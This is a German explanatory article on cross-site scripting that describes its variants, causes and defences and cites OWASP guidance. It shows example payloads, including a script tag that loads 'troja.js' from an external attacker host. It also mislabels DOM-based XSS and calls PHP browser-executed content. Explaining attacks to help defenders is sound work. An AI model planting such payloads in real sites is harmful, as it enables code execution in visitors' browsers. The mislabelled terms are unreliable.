Dirk Fox

Cross Site Scripting (XSS)

Hintergrund

Über mehr als ein Jahrzehnt waren Pufferüberläufe (*Buffer Overflows*) die häufigste Ursache für Sicherheitsschwachstellen in Software. Bei Web-Anwendungen, also Programmen, die über das Internet oder Intranet mit dem Browser genutzt werden, hat diese Rolle das *Cross Site Scripting* (kurz: XSS) übernommen. Das ist nicht so verwunderlich, denn hinter einer XSS-Schwachstelle steckt – wie bei einem Buffer Overflow – eine fehlende oder unzureichende Überprüfung der Zulässigkeit einer Dateneingabe oder –übergabe vor der Ausgabe durch den Browser. Dennoch sind die technischen Hintergründe und möglichen Gegenmaßnahmen unterschiedlich.

Funktionsweise

XSS-Angriffe versuchen, Script-Code (wie z. B. eine Javascript-Routine) so in einer Web-Anwendung zu „platzieren", dass er beim Aufruf der Webseite vom Browser des Anwenders ausgeführt wird [1]. Im Unterschied zu *SQL Injection* handelt es sich bei einem XSS-Angriff nicht um einen Angriff auf die Web-Anwendung, sondern auf den Client des Benutzers. So können XSS-Angriffe auch zur Vorbereitung von Drive-by-Download-Angriffen genutzt werden.

Mit XSS versucht ein Angreifer, Daten so an eine Webanwendung zu übergeben, dass im Browser der Seitenbesucher neben der Darstellung von Informationen zusätzlicher, vom Angreifer kontrollierter Code ausgeführt wird.

Das lässt sich mit verschiedenen Methoden erreichen. So kann der Angreifer einem „Opfer" einen mit dem Programmcode versehenen Link zusenden. Klickt das Opfer darauf, wird der darin enthaltene Code an eine Webanwendung mit XSS-Schwachstelle übermittelt, und der Browser des Opfers führt den Code aus (*reflected XSS*).

Oder aber es gelingt einem Angreifer, eine Schwachstelle einer Web-Anwendung dafür zu nutzen, den Angriffscode in die Web-Anwendung selbst zu integrieren. Anschließend wird der Code vom Browser jedes Seitenbesuchers ausgeführt (*DOM based XSS*).

Besonders gefährlich sind XSS-Angriffe, bei denen der Angreifer den Schadcode über eine XSS-Schwachstelle einer Anwendung einspielt, die Nutzereingaben speichert und anzeigt – wie beispielsweise die Kommentarfunktion eines Blogs. Ruft ein Seitenbesucher den Kommentar auf, wird der Programmcode an seinen Browser übertragen und ausgeführt (*stored XSS*).

Ursache

XSS-Schwachstellen sind möglich, weil Browser reine Anzeigebezogene Kommandos und aktive Inhalte (z. B. Javascript, PHP oder VBScript) vermischt verarbeiten. Script-Code kann in Kommandos für Bildschirmausgaben „eingebettet" und so getarnt werden. Zum Beispiel zeigt der HTML-Code <img src="javascript: alert(‚Angriff!');"> nicht etwa ein Bild an, sondern öffnet ein Alarm-Fenster mit dem Text ‚Angriff!'. Der Angreifer muss den eigentlichen Schadcode nicht einmal auf dem angegriffenen Server platzieren – es genügt, wenn er den Aufruf eines auf einem beliebigen anderen Server gespeicherten Scripts veranlasst:

```
<script src=http://hack.de/troja.js></script>
```

Schutzmaßnahmen

Internet-Nutzer können sich vor XSS-Angriffen nur sehr eingeschränkt schützen. Zwar kann durch eine Sperrung aller Script-Funktionen im Browser (z. B. mit einem Browser-Plugin wie NoScript) die Ausführung von per XSS eingespieltem Code wirksam verhindert werden. Wegen der extensiven Nutzung von Script-Sprachen durch Web-Agenturen kann der Browser dann allerdings meist die gesamte Webseite nicht mehr vernünftig anzeigen. „Schlechten" und „guten" Script-Code kann der Benutzer in der Regel bestenfalls nach der Ausführung unterscheiden.

Eine bessere Lösung sind Schadcode-Scanner, über die viele der heutigen Viren-Scanner verfügen und die eine Webseite nach typischen XSS-Codefragmenten durchsuchen, bevor sie sie zur Anzeige im Browser freigeben. Einen hundertprozentigen Schutz bieten solche Filter allerdings nicht.

Gefragt sind daher vor allem die Entwickler von Web-Applikationen, die durch die Konfiguration der zulässigen vertrauenswürdigen Code-Quellen und die Entwicklung von XSS-resistentem Programmcode das Übel an der Wurzel packen müssen. Zu letzterem gehört vor allem, dass Eingaben auf unzulässige Zeichen (wie Sonderzeichen, die eine Script-Codefolge einleiten) überprüft und ggf. bereinigt werden. Zahlreiche OWASP-Dokumente bieten dafür Hilfestellungen, wie z. B. das *XSS Prevention Cheat Sheet* oder das *DOM based XSS Prevention Cheat Sheet* [2, 3].

Einen zwar ebenfalls eingeschränkten, aber sofort wirksamen Schutz für ältere, möglicherweise für XSS-Angriffe anfällige Webanwendungen bieten so genannte *Web Application Firewalls* (WAF), die vor den Webserver geschaltet werden und die (meist dynamisch erzeugten) Webseiten vor der Weiterleitung an einen anfragenden Browser auf möglichen via XSS eingeschleusten Schadcode analysieren.

Fazit

Anwender können sich vor XSS-Angriffen nur begrenzt schützen. „Aufpassen" ist jedenfalls keine wirksame Schutzstrategie – jede noch so seriöse Webseite, die eine versteckte XSS-Schwachstelle besitzt, kann Schadcode enthalten.

Daher sind die Entwickler und Betreiber von Web-Applikationen gefragt: Nur wenn Resistenz gegen XSS (und andere Bedrohungen) zu einem zentralen Designziel und entscheidenden Abnahmekriterium bei der Anwendungsentwicklung wird, gibt es eine realistische Chance, auf mittlere Sicht dieser Bedrohung Herr zu werden.

Literatur

[1] Paul Sebastian Ziegler: *XSS – Cross Site Scripting*. Hakin9 Nr. 1/2007, S. 20-29. http://tut0r1al.back2hack.cc/PDF/XSS%20-%20Cross-Site%20Scripting.pdf

[2] OWASP: *XSS (Cross Site Scriptiong) Prevention Cheat Sheet*, https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

[3] OWASP: *DOM based XSS Prevention Cheat Sheet*, https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet